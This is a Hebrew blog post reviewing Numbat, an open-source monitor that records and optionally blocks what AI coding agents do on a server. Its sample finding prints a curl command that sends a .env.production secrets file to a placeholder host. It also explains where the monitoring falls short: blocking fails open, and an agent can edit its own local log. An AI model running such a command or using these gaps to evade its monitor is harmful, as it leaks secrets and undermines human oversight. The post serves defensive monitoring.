Numbat: איך לדעת מה סוכני AI עושים בשרת
Numbat הוא כלי קוד פתוח של Perplexity שמתעד את פעולות סוכני הקידוד בשרת, כולל קריאת מפתחות SSH והעברת הורדות ל־shell, אך אינו עוצר אותן.
מהו Numbat
Numbat מספק נראות לפעולות שביצע סוכן AI במכונה שבבעלותכם. הוא קורא את קריאות החזרה (callbacks) ואת קובצי ההפעלה שסוכני קידוד כבר מייצרים, מנרמל אותם לפורמט אירועים אחיד, ומשווה אותם לכללים שמופעלים בעת זיהוי התנהגות כגון קריאת מפתח פרטי של SSH או העברת הורדה ישירות ל־shell. Perplexity שחררה אותו כקוד פתוח ברישיון Apache 2.0, והגרסה המתויגת הראשונה פורסמה ב־29 July 2026.
כל האמור להלן מבוסס על מאגר הפרויקט ועל התיעוד שלו, כפי שנקראו ב־2 August 2026. כאשר Perplexity מציגה טענה, פוסט זה מציין זאת. זה אינו מדריך התקנה, משום שהמאגר קיים רק כמה ימים והפקודות שלו עשויות להשתנות.
הבעיה: איש אינו מתעד מה הסוכן ביצע
סוכן תכנות ב־VPS שלך מריץ פקודות shell, קורא קבצים, כותב קבצים ופותח חיבורי רשת, והכול בשם המשתמש שמסרת לו. היסטוריית ה־shell שלך אינה מתעדת אף אחת מהפעולות האלה, משום שהסוכן אינו מקליד ב־shell שלך. sshd מתעד את ההתחברות שלך, אך לא דבר ממה שהמודל החליט לבצע לאחר מכן. /var/log/auth.log נשאר שקט, אלא אם משהו ניגש אל sudo. הסוכן מנהל תמליל משלו, אך הקובץ הזה נמצא בתיקיית ההפעלה של הסוכן, הפורמט שלו משתנה בין גרסאות, והתהליך של הסוכן עצמו יכול לכתוב אליו.
לכן, כאשר מישהו שואל אם הסוכן קרא את .env.production ביום שלישי שעבר, התשובה הכנה ברוב השרתים היא שאי־אפשר לדעת. הפער הזה הוא הסיבה לקיומו של הפרויקט הזה.
מה Perplexity טוענת ש־Numbat עושה
ה־README נפתח בתיאור הכלי כ״נראות ברמת נקודת הקצה לפעילות של סוכני AI, עם זיהוי מקומי, חסימה אופציונלית לפני פעולה ושחזור פורנזי״. נקודת קצה כאן היא המחשב שבו הסוכן פועל, ולא התקן רשת שמנטר מבחוץ. אלה יכולות נפרדות, ולכל אחת מהן חשיבות שונה.
הזיהוי מתבצע במכשיר. הכללים נכתבים ב־CEL (שפת ביטויים נפוצה) ומוערכים באופן מקומי. מעליהם אפשר להגדיר כללי רצף מרובי־שלבים, וכן להשתמש בכללים משלכם ב־YAML. אין צורך ששום מידע יעזוב את המחשב כדי שכלל יופעל.
החסימה אופציונלית ומוגבלת. היא פועלת רק באמצעות hooks סינכרוניים שלפני הפעולה, ורק בסוכנים שחושפים hook כזה. כברירת מחדל היא כבויה, עד שמפעילים אותה.
השחזור מתבצע בדיעבד. numbat scan מנתח ארטיפקטים של הפעלות שהסוכן כבר כתב לדיסק, ולכן אפשר לבדוק פעילות שהתרחשה לפני התקנתו. הפרויקט מגדיר בקפידה את גבולות הטענה: ״שחזור ממידע שנשמר אינו רכישה של תוכן הדיסק או הזיכרון, ואינו יכול לשחזר פעילות שהסוכן לא שמר באופן מתמשך״.
הפלט הוא NDJSON מתועד גרסאות (JSON המופרד בשורות), וכולל אירועים, ממצאים, החלטות אכיפה, אינדיקטורים וסיכומי סריקות. נכון ל־v0.1.2, גרסת הסכימה היא 0.2.0. הרשומות נכתבות ל־stdout או לקובץ מקומי, ובאופן אופציונלי נשלחות באמצעות HTTP ל־collector שאתם מפעילים. התוכנה מופצת כקובץ בינארי סטטי יחיד של Go, שנבנה ללא cgo, עבור macOS, Linux ו־Windows בארכיטקטורות amd64 ו־arm64. לכן, ב־Linux VPS, מדובר בקובץ יחיד ואין צורך להתקין תחילה סביבת ריצה.
אילו agents Numbat באמת יכול לזהות?
מטריצת הכיסוי ב־docs/agent-coverage.md היא הרשימה הקובעת, והיא אינה אחידה. הפרויקט מציין זאת במפורש ואינו מסתיר את המגבלות. עבור Claude Code, Codex, Gemini CLI, Cursor ו־GitHub Copilot CLI קיימות גם סריקת artifacts וגם לכידה בזמן אמת באמצעות pre-action hook. החל מגרסה 2026.7.1, OpenClaw מקבל plugin ייעודי. רשימה ארוכה של entries מסומנת כ־deferred. המשמעות היא שקיים נתיב ל־live hook, אך אין parser עבור artifacts. הסיבה לכך היא לעיתים קרובות שה־agent שומר את ההיסטוריה שלו ב־SQLite באמצעות write-ahead log, שאינו בטוח לקריאה בזמן שה־agent פועל. OpenCode ו־Cline נכללו בקבוצה זו בעת קריאת המטריצה ב־2 באוגוסט 2026.
בדקו את השורה של ה־agent שלכם לפני שאתם מתכננים להשתמש בכלי הזה, משום שהמונח "supported" מציין דבר שונה כמעט בכל שורה.
איך נראית זיהוי
לכללים יש מזהים שמבהירים למה הם משמשים. secrets.read_private_key מכסה מפתח SSH, פרטי התחברות של AWS, תצורת kube או התחברות למאגר חבילות. exec.download_pipe_shell מופעל כאשר הפלט של curl או wget מוזרם למפרש. privilege.elevated_shell מזהה בקשה למעטפת root אינטראקטיבית באמצעות sudo, doas, su או pkexec. impact.cryptomining_launch מתאים לקובצי בינאריים ולשמות images מוכרים של כורי מטבעות.
כללי רצף מחברים אירועים בתוך אותה הפעלה. chain.secret_read_then_egress דורש קריאה של קובץ סודי ולאחריה פקודה שמעבירה נתונים החוצה. קובץ ה־README מפרסם את הממצא שלהלן מתוך שחזור מבוקר של שני callbacks מסוג pre-action ב־Claude Code, ולא מתוך אירוע אבטחה פעיל. הקטע קוצר כאן לשדות החשובים:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}שימו לב ל־"confidence": "medium" שמופיע בתוך הרשומה, ולדברי הפרויקט על סוג הפלט כולו: "ממצאים הם התאמות לכללים, ולא הוכחה לפריצה." סקריפט פריסה שקורא מפתח ולאחר מכן מעלה build artifact יתאים לאותו כלל רצף. ההתאמה נכונה, אך ההתראה שגויה. זהו המצב הרגיל של כל כלי זיהוי שהפעלתם אי־פעם.
חסימה מושבתת כברירת מחדל, ובכשל המערכת מאפשרת להמשיך
כל כלל ש־Numbat מפיץ פועל במצב ניטור בלבד. הפיכת כלל לחוסם דורשת פעולה מכוונת: העתיקו את ה־YAML המלא של הכלל לספרייה שבבעלותכם, השאירו את אותו id, הוסיפו enforce: true, עדכנו את מספר הגרסה, ולאחר מכן אמתו והתקינו את המדיניות.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceכעת מגיע החלק שקובע עד כמה אפשר לסמוך על המנגנון. מנגנון ה־deny של Numbat הוא תגובה שמוחזרת ל־agent, והוא זה שמסרב בפועל לקריאת הכלי. מדריך האכיפה מבהיר מה קורה כאשר Numbat עצמו נתקל בבעיה: "מטענים לא תקינים, שגיאות הערכה רלוונטיות, קריסות ושגיאות פלט מונעים את תגובת ה־deny של numbat." הקלט ל־hook מוגבל ל־4 MiB, וקלט שחורג מהגודל הזה מטופל באותו מסלול.
המדריך מבהיר גם את המגבלה של תגובת deny שכן נשלחת: "Fail-open פירושו ש־numbat מונע את שליחת תגובת ה־deny שלו. אין בכך התחייבות שהכלי יופעל: ה־host עדיין עשוי להציג בקשת אישור, לדחות את הפעולה, להסתיים ב־timeout, או להחיל hook או מדיניות אחרים."
לכן, האכיפה כאן היא אמצעי הגנה, לא גבול אבטחה. אם התהליך קורס, הפעולה אינה נחסמת על ידי Numbat, משום ש־monitor שמקפיא את ה־agent בכל תקלה יוסר בתוך שבוע. זהו פשרה סבירה. עם זאת, אין לבנות מודל אבטחה שמניח שתגובת ה־deny תמיד תגיע.
היכן Numbat משתלב לצד מה שאתם כבר עושים
Numbat פועל ב־endpoint, בתוך עץ התהליכים של ה־agent, וכותב אל ~/.numbat/records.ndjson כברירת מחדל. agent שפועל בשם המשתמש שלכם יכול לקרוא את הקובץ הזה. הוא יכול גם לערוך אותו. audit trail שווה בדיוק כמו שכבת הבידוד שסביבו, ולכן כל אמצעי הבקרה שכבר קיימים אצלכם צריכים להיות לפניו בשרשרת, ולא אחריו.
הקצאת VM זמני ל־coding agent מגבילה את המשאבים שריצה זדונית יכולה להגיע אליהם. משתמש עם least privilege ב־VPS מונע מה־agent לגשת לקבצים שאין לו צורך לפתוח. הרחקת credentials מה־context של ה־agent היא שהופכת התאמה ל־secrets.read_private_key לנדירה מספיק כדי שיהיה כדאי לקרוא אותה כשהיא מופיעה. וגם ה־sandbox שהגדרתם עבור Claude Code ב־VPS הוא עדיין הרכיב שמבצע את הבידוד.
Numbat מוסיף את הרשומה, ולכן יש לשלוח אותה למקום שאליו ה־agent אינו יכול להגיע. numbat ship ו־HTTP sink מיועדים לכך. עותק של ה־stream במכונה שנייה הוא ההבדל בין קובץ log לבין ראיה. מודל האירועים כולל גם שדות של MCP (model context protocol), ולכן קריאות לכלים שיוצאות דרך שרת MCP שאתם מארחים ב־VPS נכנסות לאותו stream כמו פקודות shell מקומיות. הדבר חשוב משום שהנתיב הזה אינו גלוי לרכיב שמנטר רק את bash.
נסו תחילה במצב לקריאה בלבד
התקינו גרסה מקובעת. נדרשת גרסה 1.26.5 או חדשה יותר של Go עבור go install, ובדף ה־releases יש קבצים בינאריים מוכנים מראש עם checksums מסוג SHA-256, אם אינכם מעוניינים לבנות מקוד המקור.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents מזהה agents שמותקנים במערכת. numbat scan מנתח את ארטיפקטים של ה־session שכבר נמצאים בדיסק ומדפיס רשומות. ב־README מצוין שפקודות אלה "אינן מתקינות hooks ואינן משנות את תצורת ה־agent", וכן ש־numbat "לעולם אינו מפעיל agents או commands שנמצאו בארטיפקטים, ושולח בקשות יוצאות רק ל־HTTP sinks שהוגדרו". הסריקה מתבצעת לקריאה בלבד, עם הסתרת secrets, ופלט רשומות רגיל לעולם אינו כולל תמלול raw מלא.
לכידה בזמן אמת היא השלב הבא, והיא כן משנה את תצורת ה־agent:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all כותב events, findings, indicators והחלטות enforcement רלוונטיות אל ~/.numbat/records.ndjson. שתי אזהרות מופיעות ישירות בפרויקט. ייתכן שיהיה צורך לתת אמון ב־hooks בתוך ה־agent לפני שהם יופעלו בכלל, ויש לבדוק את האמון הזה שוב לאחר שינוי flags כגון --enforce. בנוסף, hook status "מאמת תצורה, ולא execution או delivery", ולכן שורת status תקינה אינה מוכיחה שרשומות מגיעות ליעד כלשהו.
מדוע מאגר חדש כל כך אינו תלות
הגרסאות הציבוריות הן v0.1.1 מ־29 ביולי 2026 ו־v0.1.2 מ־1 באוגוסט 2026. במועד כתיבת הפוסט, ב־2 באוגוסט 2026, היו למאגר 597 כוכבים. מספרים שגדלים בקצב כזה משקפים את קהל המשתמשים של Perplexity, ולא את מידת העמידות של הקוד. כוכב מציין שמישהו שמר את הדף כדי לעיין בו מאוחר יותר.
מספר הגרסה מציג בכנות את שלב הבשלות של הפרויקט. הערות הגרסה v0.1.2 כוללות בעיקר תיקונים להסתרת פרטי התחברות, וכן עבודה על נרמול של חבילות תיעוד ושל נתוני טלמטריה. באגים בהסתרת פרטים הם סוג הכשלים הצפוי בשלב מוקדם בכלי שתפקידו לקרוא בבטחה תמלילים של תוכניות אחרות. יהיו עוד באגים כאלה, משום שהקלט מגיע מתריסר סוכנים, וכל אחד מהם משנה את הפורמט שלו לפי לוח זמנים עצמאי.
מכאן נובעים שני כללים מעשיים. קבעו את התג, ולעולם לא את @latest, בכל דבר שאתם שומרים. התייחסו אליו ככלי שאתם בוחנים, ולא כרכיב בקרה שאתם מסתמכים עליו, לפחות עד שסכמת הרשומות תפסיק להשתנות.
FAQ
האם Numbat חוסם פקודות מסוכנות של סוכני AI?
רק אם בוחרים להפעיל זאת, וגם אז על בסיס best effort בלבד. כל כלל ש־Numbat מפיץ מוגדר כברירת מחדל לניטור בלבד. כדי לחסום, העתיקו את קובץ ה־YAML של הכלל לתיקייה שבבעלותכם, השאירו את ה־id שלו, הוסיפו enforce: true, עדכנו את הגרסה והתקינו את ה־hook באמצעות --enforce. גם במקרה כזה, פעולת הדחייה היא תגובה שמועברת לסוכן, והסוכן הוא שמסרב לקריאה. תיעוד הפרויקט מציין התנהגות fail-open: payloads פגומים, שגיאות הערכה, panics וכשלי פלט מדכאים כולם את פעולת הדחייה. השתמשו בכך כאמצעי הגנה נוסף, ולא כגבול האבטחה היחיד.
באילו סוכני AI תומך Numbat?
הכיסוי משתנה בין הסוכנים ומפורט ב־docs/agent-coverage.md במאגר. בעת בדיקת הדף, ב־2 באוגוסט 2026, ל־Claude Code, ל־Codex, ל־Gemini CLI, ל־Cursor ול־GitHub Copilot CLI הייתה גם סריקת artifacts וגם לכידה בזמן אמת, ול־OpenClaw היה plugin מקורי החל מגרסה 2026.7.1. סוכנים רבים אחרים מופיעים עם נתיב ל־hook בזמן אמת, אך עדיין ללא parser ל־artifacts. בדרך כלל הסיבה לכך היא שהיסטוריית הסשן שלהם נמצאת במסד נתונים של SQLite, שלא בטוח לקרוא ממנו בזמן שהסוכן פועל. קראו את השורה המתאימה לסוכן שלכם, משום שהמונח "נתמך" כולל שם כמה רמות שונות.
האם הסוכן יכול לשנות את הרשומות של Numbat?
כן, אם הוא פועל תחת אותו משתמש. כברירת מחדל, הרשומות נשמרות ב־~/.numbat/records.ndjson באותו מחשב שבו פועל הסוכן, ולכן כל גורם שיש לו הרשאת כתיבה לנתיב הזה יכול לשנות או למחוק אותן. שלחו את הזרם ל־collector שאליו הסוכן אינו יכול להגיע, באמצעות numbat ship או באמצעות ה־HTTP sink, והשאירו את הקובץ המקומי כעותק נוחות. זו גם הסיבה לכך שהכלי משלים בידוד במקום להחליף אותו. לסוכן שמוגבל ל־VM זמני ופועל תחת משתמש בעל הרשאות מינימליות יש גישה מצומצמת בהרבה ל־audit trail של עצמו.
האם Numbat מוכן לשרת production?
לא כאמצעי בקרה שאפשר להסתמך עליו. הגרסה הציבורית הראשונה הייתה v0.1.1 ב־29 ביולי 2026, ו־v0.1.2 יצאה לאחר מכן ב־1 באוגוסט 2026, ולכן גם ה־flags וגם סכמת הרשומות עדיין משתנים. הפעלה של numbat agents ושל numbat scan על שרת היא פעולה לקריאה בלבד ובסיכון נמוך, והיא תראה לכם מה הסוכנים שלכם השאירו על הדיסק. התקנת hooks לאכיפה על שרת חשוב היא החלטה אחרת, והיא מחייבת tag מקובע ותוכנית לטיפול במצב שבו ה־hook פועל באופן שגוי.